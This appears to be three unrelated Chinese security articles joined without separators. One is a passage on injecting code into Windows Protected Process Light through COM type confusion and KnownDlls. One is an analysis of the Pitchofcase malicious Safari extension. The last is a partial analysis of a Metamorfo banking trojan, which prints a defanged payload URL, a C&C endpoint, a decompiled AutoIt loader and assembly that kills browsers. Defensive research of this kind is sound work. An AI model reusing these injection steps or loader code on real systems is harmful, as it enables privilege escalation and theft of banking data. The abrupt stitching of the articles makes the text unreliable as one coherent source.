4、Stub调用服务器内部的实际实现方法,传递解封装的接口指针。
5、DoSomething使用接口指针,例如通过对象的VTable调用AddRef。

那么,我们如何进行漏洞利用?需要做的就是修改类型库,这样一来其传递的就是一个接口指针,而非其他内容。尽管类型库文件位于一个系统位置,我们无法修改,但我们可以在当前用户的注册表配置单元中替换相应的内容,或者使用与编号为1112漏洞相同的ROT技巧。举例来说,如果我们修改类型库,使其传递一个整数,而非接口指针,我们将得到如下内容:

5.jpg

现在的封装过程,变为如下操作:

1、不受信任的进程在接口上调用DoSomething,该接口实际上是指向DoSomethingProxy的指针,该指针是从传递任意整数参数的类型库自动生成的。
2、DoSomethingProxy将整数参数封装到缓冲区中,并通过RPC调用受保护进程中的Stub。
3、COM运行时调用DoSomethingStub方法来处理调用。此方法将从缓冲区解封装整数。
4、Stub调用服务器内部的实际工具方法,传递整数作为参数。但是DoSomething没有改变,它仍然是接受接口指针的相同方法。由于COM运行时此时没有更多类型信息,因此整数与接口指针的类型发生混淆。
5、DoSomething使用接口指针,例如通过对象的VTable调用AddRef。由于此指针完全受不受信任进程的控制,因此可能导致任意代码执行。
通过将参数类型由接口指针改为整数,就会引发类型混淆,这使得我们可以取消对任意指针的引用,从而导致任意代码执行。我们甚至可以通过向类型库添加以下结构,来简化攻击过程:

struct FakeObject {
   BSTR FakeVTable;
};

如果我们将指针传递给FakeObject而非接口指针,那么自动生成的代理将会封装结构以及BSTR,并在Stub的另一端重新创建。由于BSTR是一个计数字符串,所以它可以包含NULL,这样一来就会创建一个指向对象的指针,该对象包含指向任意字节数组的指针,而该数组可以作为VTable。如果将已知函数指针放在这一BSTR中,就可以轻松的重定向执行,无需猜测VTable缓冲区的位置。

为了充分利用这一方法,我们需要选择一个合适的方法进行调用,可能需要一个ROP链,并且可能还需要绕过CFG。目前看起来,这一过程并不简单,因此我们打算尝试采用不同的方法,即通过滥用KnownDlls来获得PPL二进制文件中运行的任意代码。

KnownDlls和受保护的进程

在我之前发表过的博客文章中,说明过一种权限提升的技术,可以通过在KnownDlls目录中添加一个项,从而将任意DLL加载到特权进程中,进而实现将任意对象目录的权限提升到SYSTEM。我发现,这也是管理员PPL代码注入的一种,因为PPL也会从系统的KnownDlls位置加载DLL。由于代码签名检查是在创建期间进行的,而不是在映射期间,所以只要能将特定项放入KnownDlls,就能将任意内容加载到PPL中,甚至是未签名的代码中。

现在还不能立即行动,因为要写入KnownDlls还需要管理员的权限。在此之前,我们首先研究一下过程中是如何加载已知DLL的,以及是如何实现滥用的。内部NTDLL加载工具(LDR)的函数代码如下,这一部分用于确定是否存在预先存在的Known DLL。

NTSTATUS LdrpFindKnownDll(PUNICODE_STRING DllName, HANDLE *SectionHandle) {
 // If KnownDll directory handle not open then return error.
 if (!LdrpKnownDllDirectoryHandle)
   return STATUS_DLL_NOT_FOUND;
 
 OBJECT_ATTRIBUTES ObjectAttributes;
 InitializeObjectAttributes(&ObjectAttributes,
   &DllName,
   OBJ_CASE_INSENSITIVE,
   LdrpKnownDllDirectoryHandle,
   nullptr);
 
 return NtOpenSection(SectionHandle,
                      SECTION_ALL_ACCESS,
                      &ObjectAttributes);
}

LdrpFindKnownDll函数调用NtOpenSection,以打开已知DLL的Named Section对象。这一过程中不会使用绝对路径,而是通过本地系统调用的功能,根据OBJECT_ATTRIBUTES结构中的对象名称来查找指定根目录。根目录记录在全局变量LdrpKnownDllDirectoryHandle中。通过这种方式实现调用,能够允许加载工具仅对文件名进行指定(例如EXAMPLE.DLL),而不必将绝对路径重新构建为相对于现有目录的查找。我们跟踪对LdrpKnownDllDirectoryHandle的引用,就可以发现它在LdrpInitializeProcess中进行初始化,如下所示:

NTSTATUS LdrpInitializeProcess() {
 // ...
 PPEB peb = // ...
 // If a full protected process don't use KnownDlls.
 if (peb->IsProtectedProcess && !peb->IsProtectedProcessLight) {
   LdrpKnownDllDirectoryHandle = nullptr;
 } else {
   OBJECT_ATTRIBUTES ObjectAttributes;
   UNICODE_STRING DirName;
   RtlInitUnicodeString(&DirName, L"\\KnownDlls");
   InitializeObjectAttributes(&ObjectAttributes,
                              &DirName,
                              OBJ_CASE_INSENSITIVE,
                              nullptr, nullptr);
   // Open KnownDlls directory.
   NtOpenDirectoryObject(&LdrpKnownDllDirectoryHandle,
                         DIRECTORY_QUERY | DIRECTORY_TRAVERSE,
                         &ObjectAttributes);
}

上述代码实现了对NtOpenDirectoryObject的调用,将绝对路径作为对象名称,传递给KnownDlls目录。打开的句柄将会存储在LdrpKnownDllDirectoryHandle全局变量中,供以后使用。值得注意的是,此代码还会检查PEB,以确定当前进程是否为完全受保护的进程。在完全受保护的进程模式下,禁用对加载已知DLL的支持,这也就是为什么即使具有管理员权限也只能攻破PPL而非PP的原因。

了解上述知识后,我们就可以不再尝试代码劫持,而是使用COM类型混淆技巧,将值写入任意内存位置,从而实现对数据的攻击。由于可以继承任意句柄到新的PPL进程中,所以我们可以使用Named Section来设定对象目录,然后使用类型混淆的方法,将LdrpKnownDllDirectoryHandle的值更改为继承句柄的值。如果我们使用一个从System32加载的已知名称DLL,LDR将检查伪目录来查找Named Section,并将无符号代码映射到内存中,甚至还会为我们调用DllMain。这个过程中,无需线程注入,无需ROP,也无需绕过CFG。

现在需要的,是一个合适的原语,用来写入任意值。不幸的是,尽管我找到了能产生任意写入的方法,但是却不能充分控制写入的内容。最终,我使用了以下接口和方法,该接口是在ICorSvcBindToWorker :: BindToRuntimeWorker返回的对象上实现的。

interface ICorSvcPooledWorker : IUnknown {
   HRESULT CanReuseProcess(
           [in] OptimizationScenario scenario,
           [in] ICorSvcLogger* pCorSvcLogger,
           [out] long* pCanContinue);
  };
};

在CanReuseProcess的实现过程中,pCanContinue的目标值总是初始化为0。因此,通过用[in] long替换类型库定义中的[out] long*,就可以将0写入我们指定的任何内存位置。通过使用到假KnownDlls目录的句柄,将其预先填充到新进程句柄表的低16位,就可以确定真实KnownDlls的别名,这些KnownDlls将在进程启动时打开。而针对假冒的这些,只需修改高16位句柄为0即可。如下图所示:

6.png

一旦我们使用0覆盖了前16位(写入是32位,但句柄实际是64位,并且在64位模式下运行,因此不会覆盖任何重要的内容),LdrpKnownDllDirectoryHandle就会指向假KnownDlls句柄中的一个。然后,可以通过向同一个方法发送自定义封装对象,来引起DLL加载,从而实现在PPL内部执行任意代码。

将PPL提升到Windows TCB签名级别

我们不能止步于此,对MSCORSVW的攻击,只能让我们在CodeGen级别获得PPL,而非Windows TCB。通过对Windows TCB级别的WERFAULTSECURE.EXE进行DLL劫持,我们应该能够获得Windows TCB签名级别的代码执行。该方法适用于Windows 10 1709以及更早版本,但对1803及以上版本无效。

在与Alex Ionescu进行讨论后,我决定使用一个简单的解析器,用于查看文件上的缓存签名数据。在NtObjectManager中,其作为Get-NtCachedSigningLevel命令公开。针对一个带有假签名的二进制文件和系统二进制文件运行此命令,我们发现该二进制文件的签名也同样被缓存,其区别如下:

7.png

对于伪造的签名文件,Flags为TrustedSignature (0x02)。但是对于系统二进制文件,由于PowerShell无法解码,因此只输出整数值66(十六进制为0x42)。0x40值是位于原始可信签名上的额外标志,如果没有这个标志,DLL似乎就不会被加载到PPL进程中。于是,我决定尝试将一个不含额外标志的有效签名DLL加载到PPL进程。通过Process Monitor的监控,我得到了答案:

8.PNG

Process Monitor的跟踪结果显示,首先内核从DLL中查询扩展属性(EA)。缓存的签名级别数据存储在文件的EA中,因此我们可以断定,这一过程就是在读取缓存的签名级别。实际上,这一过程还会检查许多内容,为简洁起见,我从截图中删去了一部分不需要关注的内容。在EA设置完成后,如果我再次检查文件的缓存签名级别,就可以发现它现在包含了额外标志。那么,我们需要关注的就是,缓存签名级别是如何自动设置的?通过对栈进行跟踪,我们可以发现它的工作原理:

9.png

查看栈跟踪的中间部分,能看到对CipSetFileCache的调用源自对NtCreateSection的调用。在需要时(例如PPL),内核将会自动缓存签名,这样一来后续映射过程中就不需要再重新检查签名。如果从一个具有写入权限的文件映射一个Image Section,那么就可以重复编号1332的漏洞利用过程,使用NtCreateSection替换对NtSetCachedSigningLevel的调用,从而可以伪造任何DLL。事实证明,在对1332进行修复后,会在写入检查之后发生设置文件缓存的调用,并且可以借助该调用绕过Device Guard。考虑到以上情况,我将这一漏洞进行上报,其编号为1597,CVE编号为CVE-2018-8449。与1332一样,PPL的后门仍然存在,因此即使修复程序解决了Device Guard绕过问题,仍然可以利用该漏洞实现从PPL-CodeGen到PPL-Windows TCB的提升。

总结

本文主要说明了如何在不需要管理员权限的情况下,将任意代码注入PPL。在普通用户权限下,能实现的操作其实并不多,无法对操作系统的某些重要部分进行修改。但是,如果成功将权限提升到管理员,然后注入PPL,那么就能得到更多的攻击点,例如CSRSS(通过对其进行攻击来获得内核代码执行)和Windows Defender。随着时间的推移,我相信PPL的大多数用例都会被虚拟安全模式(VSM)和隔离用户模式(IUM)的应用程序所取代,这些模式将具有更高的安全保障。

在我向Microsoft报告漏洞后,他们明确表示,不会修复仅影响PP和PPL的漏洞。因此,该漏洞并不会在当前版本的Windows中修复,但很可能会在下一个主要版本中实现修复。此外,Microsoft还明确列出了针对一些Windows中所使用的技术,是否会进行修复并向提交漏洞者支付赏金,我们明确看到,PPL不在此列。

10.png

因此,Microsoft仅修复了我报告的一个漏洞问题。但仔细考虑一下,只修复Device Guard实际上是不充分的,我们仍然可以通过注入PPL并设置缓存签名级别,从而绕过Device Guard。这样看来,Microsoft如此坚定的拒绝修复PPL问题是有些武断的。安全功能很少是独立存在的,都是通过彼此联系、环环相扣,来共同保障整个系统的安全。

后续,我还会发表一篇文章,讨论如何使用COM的另一个功能来实现完整PP-Windows TCB进程注入,敬请期待。

一、概述

本文主要介绍了macOS浏览器扩展所采用的技术,以及恶意插件如何窃取密码、银行信息和其他敏感用户数据。

安装浏览器扩展,实际上是用户能对安全系统做出的最为简单的第三方修改之一,但也可能是最为危险的修改之一。许多用户认为扩展就是各种各样的“小型应用程序”,能在浏览网页时提供一些简单有用的附加功能,例如阻止广告内容、允许标记、自动填写表单字段等。但是,有相当一部分用户并没有意识到这些扩展所潜藏的巨大力量。

在本文中,我们首先将了解Safari浏览器扩展的安全定义,并对恶意广告软件活动中使用的浏览器扩展进行分析。此后,我们将介绍macOS 10.14 Mojave中针对Safari扩展安全性所做出的改变,以及如何解决其仍然存在的一些安全问题。

二、安全漏洞

在这里,我们主要分析恶意软件是如何通过浏览器扩展来实现漏洞利用。首先,我们要指出目前的扩展中普遍存在的一些安全问题,即使是合法开发人员开发的扩展中,也可能会出现这些问题。

我们留意到,DuckDuckGo在今年早些时候开始,为用户提供一个扩展,用于阻止广告和其他跟踪内容。DuckDuckGo的开发团队是可以信任的,并且这个扩展是有益的。然而,扩展中存在一个致命的问题:安装过程中所授予它的权限,远远超出其实际需要的扩展权限。这样一来,就导致了安全问题的出现。

1.png

根据扩展程序关于“在搜索和浏览网页的过程中保护用户数据”的声明,我们似乎可以理解为,扩展程序将有权限获取密码等敏感数据。

不幸的是,将这些特权授予给实际上不需要的扩展程序并不在少数。正如Apple开发者文档中所写,扩展可以执行例如将产品评级和评论添加到网站、将广告插入到网站、下载并注入脚本、修改Web内容等操作。并且,扩展可以在没有获得用户明确许可的情况下发送通知,还可以在后台无声的运行。

上述的这些功能,都是恶意软件开发人员所梦寐以求的漏洞利用工具,特别是在Safari扩展中还存在着多个安全漏洞,因此这些漏洞可能被恶意人员故意利用,也可能被合法开发人员无意制造。

扩展不需要在它们的包中直接包含所需的脚本,可以通过HTTP的方式远程获取。如果开发人员没有使用安全的HTTPS协议,可能就会发生中间人攻击,从而使攻击者编写的恶意脚本替换掉原有的脚本。

这也意味着,一些恶意攻击者可以开发恶意扩展,只需更改通过HTTP(或HTTPS)请求调用的脚本内容,就可以在安装扩展后修改其扩展行为。

扩展也应该支持“私密浏览”模式,但实际上这似乎取决于开发人员的具体实现。因为Apple的文档中只进行了建议:

在私密浏览模式下,您的扩展不应该存储有关用户操作的任何信息。您可以通过查询选项卡对象的私有属性(例如:safari.application.activeBrowserWindow.activeTab.private)来检查特定选项卡是否处于‘私密浏览’模式下。

仅凭这一点,就足以吸引任何一位恶意攻击者,也难怪如今恶意扩展已经成为恶意广告开发者(例如Genieo和Spigot)所使用的主要工具之一。在没有删除关联APP的情况下,恶意软件甚至可以阻止用户的卸载操作,这为进一步诱导用户提供了一个成熟的机会。

三、分析恶意扩展Pitchofcase

近期,我们观察到一个名为Pitchofcase的Safari恶意广告扩展,其中包含一些有趣的行为。

粗略来看,Pitchofcase像是普通的恶意广告扩展,在其启用后,会将用户搜索重定向到pitchofcase.com,其中包含一些按点击计费的地址。

http://searchv.oliverto.com/?b598a1d361f67b08aeee82e41686cd1a=FVNQWlVbFAAeXFNRWAFUV1dXV1gBUl9TUFBKQFwLUQFWWwAADAADXF9QUQxQVgNYVAUKU1VXWwFRDFRbB0EE&spt=ext&q=tagSearchQuery

这些扩展在后台无声的运行,没有工具栏按钮等任何与之交互的方式。

2.png

请注意上图中扩展程序所获得的权限。需要指出的是,这些权限都是默认获得的,无需进行权限提升。无论需要什么级别的权限,每个扩展程序都会显示出相同的警告提示,而用户只需要点击“信任”即可:

3.png

该警告提示中对信任此扩展产生的后果进行了简要说明,但不幸的是,在macOS系统的Safari中,可以在不经密码验证的情况下执行这一权限级别的操作。

接下来,我们尝试卸载恶意扩展,这时发生了有趣的情况。单击“卸载”按钮后,并不会按照预期的那样删除扩展,而是弹出以下警告:

4.png

这一行为是不寻常的,但也不是闻所未闻。一些信誉良好的应用程序,也会以相同的方式强制其用户使用特定的扩展(例如,Parallels Desktop强制在Safari中安装“Open in Internet Explorer”扩展程序)。用户完全可以禁用这一扩展程序,但如果想要删除扩展,需要先将父应用程序删除。

单击“在访达中显示”(Show in Finder)即可显示应用程序的位置,有助于卸载应用程序:

5.png

此时,一些安全意识较强的用户,可能想要了解Pitchofcase.app、Safari扩展和卸载程序如何正在VirusTotal上运行。该应用程序看上去是干净无毒的,但卸载程序引发了告警:

6.png

由于我们主要需要对Safari扩展进行分析,所以不会过多的分析卸载程序的功能。简而言之,通过对卸载程序进行代码审计,我们发现它主要在安装持久化代理:

7.png

以及筛选用户的浏览器历史记录:

8.png

而不是在进行它的本职工作——卸载程序。

但是,使用卸载程序作为一个感染的代理,这是恶意软件作者的一个聪明之举,并且与“不删除应用程序就无法移除扩展”这一特点相照应。正如我们看到的那样,扩展程序自身是无害的,只不过是一个让用户运行卸载程序的诡计。

四、深入理解Safari扩展

Safari扩展自身会对VT产生一些警告,但这些并不重要,原因在于它是安装扩展程序的“干净无毒”的应用程序。接下来,让我们对这一Safari扩展进行分析,查看它的具体行为。

Safari扩展实际上是压缩文件,为了深入分析扩展内部,我们要做的第一件事就是找出它所使用的压缩类型,可以使用find命令来实现:

9.png

在本文的样本中,使用了xar格式。接下来,就可以重命名文件并对其进行解压缩:

10.png

Global.html文件是我们的第一站。这个文件在Safari扩展的体系结构中是可选的,但如果包含这个文件,就可以加载一次性资源,例如注入脚本所使用的逻辑或数据。

在这种情况下,我们可以清楚的看到应该如何利用:

11.png

而在我们的下一站,Info.plist也明确表明扩展程序可能会查看安全页面:

12.png

尽管上述内容比较令人担忧,但最值得注意的一点就是它缺少通常会打包到这些浏览器插件之中的常用组件。没有专门的JS跟踪器脚本,也没有辅助函数,更没有尝试通过eval方法来执行恶意代码。与大多数扩展(包括合法和非法的)相比,Pitchofcase非常简单。

这使我们回到了“删除应用程序后才能卸载扩展程序”和“卸载程序产生的烦人警告”这两个特点。Pitchofcase的开发显然经过了深思熟虑,安装一个略显烦人但实际没有用的扩展,然后欺骗用户运行恶意的卸载程序以删除它。

五、如何安全清除Pitchofcase

对于那些在Safari中单击“卸载”按钮后严格按照提示操作的用户来说,这里有一个好消息。确实,删除扩展程序的唯一方法就是删除关联的应用程序,但删除并不意味着卸载。

用户应该忽略其自身提供的Uninstall.app,只需要将Pitchofcase.app和所有其他组件(包括卸载程序)都直接移动到废纸篓。在这样操作后,扩展程序也会随之删除。

恶意软件的开发人员走了一条不寻常的道路,并且抓住了那些习惯性遵循提示进行操作的用户心理,让用户使用开发人员提供的卸载程序来删除应用程序。针对受信任的复杂安装,这显然是一个比较好的做法。但针对于Pitchofcase来说,这是用来窃取数据的巧妙招数。

六、新版本的改进

正如Apple在WWDC 2018所指出的那样,有一些“遗留扩展”(Legacy Extensions),也就是在Safari扩展库(Safari Extensions Gallery)内外以.safariextz文件类型分发的扩展,它们非常强大,因为它们可以访问用户的所有浏览数据。这样一来,使得这些扩展非常受欢迎,特别是对于欺诈软件和恶意软件来说。

在2016年,Apple推出了Safari App Extensions。与用户必须独立于父应用程序安装、更新、删除的旧版Safari扩展不同,Safari App Extensions作为appex插件,包含在应用程序包中:

13.png

这意味着,它们与开发者ID相关联,并且可以通过App Store来提供。换而言之,扩展的分布范围与常规macOS应用程序的使用范围相同。

最近,在最新版本的Mojave和Safari 12中,传统的.safariextz已经被阻止,除非它们直接来自Apple官方的Safari Extensions Gallery。但这只是一个暂时的缓解措施。Apple原本打算完全放弃Gallery,直到2018年年底才开始接受开发者的提交。最终,只有与应用程序捆绑在一起的扩展程序才被允许在macOS上使用Safari。

当然,合法的开发人员很快就意识到,完全可以创建一个空的“Shell”应用程序,只为扩展程序提供包装,不包含其他任何功能:

14.png

我们相信,恶意软件作者很快就会模仿。

七、前进的一小步

从安全的角度来看,App Extension模型对用户来说既有利也有弊。其优点除了使相关应用更加紧密的集成之外,另一个优势是,在Mojave中,Apple增加了开发人员使用子资源完整性(Subresource Integrity)或SRI的能力。这也就意味着,开发人员可以防范MitM攻击(例如我们在前文中提到的攻击方法),确保可以根据开发人员在App Extension包中预先定义的校验值来检查通过HTTP或HTTPS方式下载的任何脚本。

15.png

八、后退的两大步

尽管这是一个很好的安全补充,能够帮助尽责的开发人员保护其用户,但它并不会防止恶意的开发人员将一个看似无害的扩展变成一个恶意软件投放工具(Dropper)。只有Apple开始要求必须具有SRI,MitM攻击的威胁才能真正被消除。

并且,这一机制也无法防范不遵循最佳实践原则的开发人员所编写的存在问题的应用程序。2017年,有研究人员发现Safari扩展库中有高达40%左右的扩展都包含同一个安全漏洞,这个漏洞并非Apple API中的错误所导致,而是大量开发人员未能遵循最佳安全实践,导致安全Token被泄露。

后退的第二步,是指这一改进使恶意软件进程具有了枚举已安装扩展的能力。此次新版本操作系统Mojave的一个重大变化就是锁定了对用户数据的访问。其中的一个锁定区域,就是用户的Safari文件夹。在早期版本的macOS上,恶意软件进程可以访问这一文件夹,并且枚举特定用户已安装扩展的列表:

16.png

这个命令无法在Mojave上成功执行,其实是一个提升安全性的改进。但前提是,需要保证用户保护无法被绕过。列出扩展名称,有助于恶意软件开发人员对用户进行分析,并有针对性的执行攻击。举例来说,恶意软件可以筛选具有购物扩展程序或密码管理工具的用户,并将攻击者的目标缩小到那些更有可能在计算机中保存信用卡信息的用户。另一种可能是,识别主流反病毒厂商开发的扩展程序是否存在,从而针对性的提供个性化漏洞利用工具包,或者选择是否向该用户传递恶意Payload。

不幸的是,App Extensions的改进破坏了此前全部为阻止访问Safari文件夹扩展数据所做的努力。将扩展程序作为应用程序包的.appex插件,直接导致恶意软件可以使用pluginkit实用程序来枚举已经安装的扩展:

17.png

九、重新回顾Pitchofcase

我们接下来重新回顾Pitchofcase。此前分析中已经进行了说明,如果不卸载应用程序就无法删除Pitchofcase。那么现在,基于我们对Safari App Extension模型的了解,我们来看看为什么会这样。

尽管Pitchofcase安装程序实际上确实包含遗留的.safariextz版本,但它是一个新的版本,需要删除相应应用程序才能卸载,对于当前使用新架构的所有扩展来说都是如此。一旦Apple完全停止Safari扩展库(大概是在2019年的某个时间),这将成为卸载扩展的唯一方法。

而Pitchofcase既不来自Safari Extensions Gallery,也不来自App Store,但仍然由其开发人员Genieo设定在Mojave 10.14上按照预期工作。

18.png

使用Safari 12的“显示所有历史记录”视图,我们可以轻松确定Genieo软件重定向的站点:

19.png

尽管Extensions的容器体系结构已发生变化,但实现细节大致相同。“script.js”文件现在位于.appex包的Resources文件夹中:

20.png

在Mojave上,能够像早期版本的macOS一样受到影响。对开发人员来说,似乎是一种诙谐的双关语“URL Hell”。

21.png

十、安全建议

通过本文的分析,我们可以看到,macOS的新架构Mojave及其使用的新安全协议并不能阻止恶意扩展的安装。至少,目前还不能。

但是,可以公平的说,Mojave采取了一些重要的举措来防范扩展带来的风险。目前,我们还没有找到一种方法能让应用程序自动启用它们的扩展。我们非常担忧任何带有appex插件的应用程序都会注册插件架构,于是尝试通过pluginkit在Mojave上启用这些实用程序,但结果都失败了,这一点还算是令人放心。

更重要的是,尽管存在用户被欺骗运行恶意卸载程序的风险(该场景已经真实发生),但随着时间的推移,相信会有越来越多的用户习惯这一新的特性,并会更加注意防范相关风险。此外,我们还希望macOS能对所有应用程序进行统一检查,其中包含对任何捆绑插件的检查。最重要的是,我们希望Apple能对仅仅作为扩展程序外壳的应用程序进行更加严格的限制,同时能更加严格的执行SRI的政策。

概述

Metamorfo是一个恶意软件家族,该恶意软件主要针对在线金融机构的客户发动攻击。近期,FortiGuard实验室捕获了两种不同的Metamorfo变种。针对其中的第一个变种,我们此前已经发布了分析文章,这个变种仅针对巴西金融机构的客户发动攻击。

我们发现的第二个Metamorfo变种则针对多个国家金融机构的客户发动攻击。在本篇文章中,我们将详细介绍新变种是如何感染受害者的计算机,以及它如何在受害者的计算机上执行操作,包括如何收集数据、如何与其命令和控制(C&C)服务器进行通信,最后将介绍它所支持的C&C命令。

恶意样本分析

与早些时候的变种一样,我们这次捕获到的是一个名为“view-(AVISO)2020.msi”的MSI文件,该文件通过ZIP压缩包的形式进行传播。在此前的分析中,我们发现当用户在Windows操作系统中双击该MSI文件时,MSI文件将由MsiExec.exe自动解析和执行。

通过分析最新的MSI文件,我们发现在其中也包含一个与早期版本名称相同的流“!_StringData”,在其中包含一段JavaScript代码,其中混入了大量垃圾字符串。在提取代码并去掉混淆的内容之后,我们可以清楚看到这段代码的作用。下图是代码的一个片段,展现了恶意样本所使用的JavaScript代码的关键功能。

从流“!_StringData”中提取的JavaScript代码片段:

1.png

在这段代码中,从URL“hxxp[:]//www[.]chmsc[.]edu[.]ph/library/modules/down/op57.lts”下载文件,这实际上是包含3个文件的ZIP压缩包。在下载完成后,会将其解压缩到“C:\”路径下新创建的随机字符串文件夹(在我们的示例中,创建的文件夹名称为“RrRbiebL”)。除此之外,3个解压缩后的文件均使用随机字符串进行重命名,在我们的示例中分别为“cMejBlQe.exe”、“M6WnYxAh”和“YvSVUyps.dll”,下图展示了文件夹的详细信息。

随机命名的文件夹中,包含3个解压缩后的文件:

2.png

这三个文件将会在命令行中执行:

C:\RrRbiebL\cMejBlQe.exe   C:\RrRbiebL\M6WnYxAh C:\RrRbiebL\YvSVUyps.dll

我们在上面的截图中可能已经注意到,这些文件会将其自身添加到系统注册表的auto-run组中。下面是系统注册表中auto-run条目的截图,其中的值就是上面的命令行。

添加到系统注册表中的auto-run组:

3.png

AutoIt脚本运行Metamorfo

其中,“C:\RrRbiebL\cMejBlQe.exe”命令带有两个参数,分别是“C:\RrRbiebL\M6WnYxAh”和“C:\RrRbiebL\YvSVUyps.dll”。经过分析,我们发现文件“cMejBlQe.exe”是一个AutoIt脚本执行程序,其原始名称为“AutoIt3.exe”。文件“M6WnYxAh”是一个经过编译的二进制AutoIt脚本文件(即“.A3X”文件),而文件“YvSVUyps.dll”中包含Metamorfo恶意软件变种的主体。

此前,我们已经观察到AutoIt被许多恶意软件家族滥用,以实现恶意目的。攻击者之所以使用AutoIt,其原因之一是为了绕过反病毒检测。

我们对“M6WnYxAh”文件进行反编译,得到其源代码如下:

SLEEP(2000)
_SLEEP(2000)
SLEEP(2000)
_SLEEP(2000)
GLOBAL $NPYVKYZFH1Z9T8E5CL48UGNZ878HTHO91S63AH=$CMDLINE[1]
GLOBAL $KPH98S477U6K32TXPN3F8UBVSHZ=DLLOPEN($NPYVKYZFH1Z9T8E5CL48UGNZ878HTHO91S63AH)
DLLCALL($KPH98S477U6K32TXPN3F8UBVSHZ,"Int","B1OWOEFK3SBYS0ETX4XXHRNV7SZGYFTU")
FUNC _SLEEP($IDELAY)
            DLLCALL("Kernel32.dll","none","Sleep","dword",$IDELAY)
ENDFUNC

首先,会暂停8秒。然后,从路径$CMDLINE[1]中加载DLL文件,该路径是命令行命令中的最后一个参数,即“C:\RrRbiebL\YvSVUyps.dll”。随后,继续调用名为“B1OWOEFK3SBYS0ETX4XXHRNV7SZGYFTU”的DLL文件的导出函数。随后,由DLL代码控制受感染的计算机。

Metamorfo恶意软件主体分析

现在,我们来深入分析文件“YvSVUyps.dll”。从下图中,我们可以看到DLL文件使用了加壳工具“VMProtect v3.00-3.3.1”。VMProtect是一个非常强大的加壳程序,在目标进程运行时支持动态代码保护。这给安全分析人员带来了巨大的挑战,举例来说,所有API地址都被隐藏,并且在调用之前动态计算。

使用分析工具分析YvSVUyps.dll:

4.png

在运行后,我们可以从内存中转储还原真实的代码。通过分析其ASM代码,我们发现它时使用Borland Delphi进行编译的,这一点和之前发现的其他变种一样。

接下来,我们分析恶意软件在受害者系统上执行的主要任务。

再经过VMProtect恢复代码后,将调用FormCreate()函数,我们可以将其视为是Main()函数。

[...]
022AE2BA     lea     edx, [ebp+var_30]
022AE2BD     mov     eax, offset a015f924af437_0
022AE2C2     call    decrypt_fun    
022AE2C7     mov     edx, [ebp+var_30]
022AE2CA     lea     eax, [ebp+var_2C]
022AE2CD     call    str_copy_Ascii_Unicode
022AE2D2     mov     edx, [ebp+var_2C]     ; de=>  "iexplore.exe"
022AE2D5     mov     eax, [ebp+var_4]
022AE2D8     call    _TerminateProcess
022AE2DD     lea     edx, [ebp+var_38]
022AE2E0     mov     eax, offset a5af5093ad16e_0
022AE2E5     call    decrypt_fun    
022AE2EA     mov     edx, [ebp+var_38]
022AE2ED     lea     eax, [ebp+var_34]
022AE2F0     call    str_copy_Ascii_Unicode ;
022AE2F5     mov     edx, [ebp+var_34]    ; de=> "firefox.exe"
022AE2F8     mov     eax, [ebp+var_4]
022AE2FB     call    _TerminateProcess
022AE300     lea     edx, [ebp+var_40]
022AE303     mov     eax, offset aA233cd013efd_0
022AE308     call    decrypt_fun    
022AE30D     mov     edx, [ebp+var_40]
022AE310     lea     eax, [ebp+var_3C]
022AE313     call    str_copy_Ascii_Unicode ;
022AE318     mov     edx, [ebp+var_3C]    ; de=> "chrome.exe"
022AE31B     mov     eax, [ebp+var_4]
022AE31E     call    _TerminateProcess
022AE323     lea     edx, [ebp+var_48]
022AE326     mov     eax, offset aC9023de11adf_0
022AE32B     call    decrypt_fun    
022AE330     mov     edx, [ebp+var_48]
022AE333     lea     eax, [ebp+var_44]
022AE336     call    str_copy_Ascii_Unicode ;
022AE33B     mov     edx, [ebp+var_44]     ; de=> "microsoftedge.exe"
022AE33E     mov     eax, [ebp+var_4]
022AE341     call    _TerminateProcess
022AE346     lea     edx, [ebp+var_50]
022AE349     mov     eax, offset a84c66187b74f_0
022AE34E     call    decrypt_fun    
022AE353     mov     edx, [ebp+var_50]
022AE356     lea     eax, [ebp+var_4C]
022AE359     call    str_copy_Ascii_Unicode ;
022AE35E     mov     edx, [ebp+var_4C]    ; de=> "opera.exe"
022AE361     mov     eax, [ebp+var_4]
022AE364     call    _TerminateProcess
[...]

上述ASM代码中,调用了一个函数来解密进程名称字符串,然后调用函数_TerminateProcess()在进程列表中终止所有匹配的进程。

然后,代码会修改特定的几个注册表项值,以禁用IE浏览器的部分功能,例如:自动完成、自动建议等。具体而言,其禁用的项目包括“HKCU\Software\Microsoft\Internet Explorer\Main”下的“Use FormSuggest”、“FormSuggest Passwords”和“FormSuggest PW Ask”,以及“HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\AutoComplete”下的“AutoSuggest”。

为什么恶意软件需要终止浏览器进程,并禁用其自动完成和自动建议功能呢?原因在于,这样的操作将强制受害者在没有自动完成功能的情况下手动输入信息,包括完整的URL,以及浏览器中的登录用户名、密码等信息。这样一来,恶意软件的键盘记录器就可以记录受害者输入的大量内容。

上述代码还会从受害者的系统中收集诸如操作系统版本、计算机名称、已安装的杀毒软件名称等信息。

如果是第一次在受感染的计算机上执行(根据标志文件是否存在来判断),将会向命令和控制(C&C)服务器发送一个POST数据包,通知该计算机已经被感染。下图展示了该数据包的详细信息。

发送到C&C服务器的POST数据包截图:

5.png

先前,已经对URL“hxxp[:]//escapuliu[.]com/happynewyear/EYHS2BZM31D225Q.php”进行解密,该数据包的正文中包含受害者的系统信息。其中的一些值经过Base64编码。在进行解码后,数据如下所示:

vv=OP57--06-01&vw=&mods=&uname=*********V-PC&cname=N-96&os=Windows 7 Ultimate6.17601-32&is=&iss=IE.AssocFile.HTM&iav= microsoft security essentials
“vv=OP57--06-01” is the version information of Metamorfo.
“mods=” records whether IBM Trusteer Rapport is running, which is used to protect users from malware.
“uname=*********V-PC” is the victim’s computer name.
“cname=N-96” is a value read out from the system registry.
“os=Windows 7 Ultimate6.17601-32” contains the infected OS version and platform.
“iss=IE.AssocFile.HTM” indicates the victim’s default browser, which in this case is IE.
“iav= microsoft security essentials” is a list of AV software that the victim has installed.

Timer函数

与此前的变种一样,这个变种仍然使用Timer执行其任务。在FormCreate()函数的末尾,将启动两个计时器。其中,第一个计时器用于监视系统剪贴板中的比特币钱包地址,第二个计时器用于检测被感染的系统是否正在访问金融机构的网站。我们将详细分析这两个函数。

(1)比特币地址Timer函数

该函数将不断从系统剪贴板中接收数据,并确认其中是否包含有效的比特币钱包地址。如果存在,则使用攻击者的钱包地址覆盖系统剪贴板中的内容。

调用SetClipboardData() API覆盖比特币钱包地址:

6.png

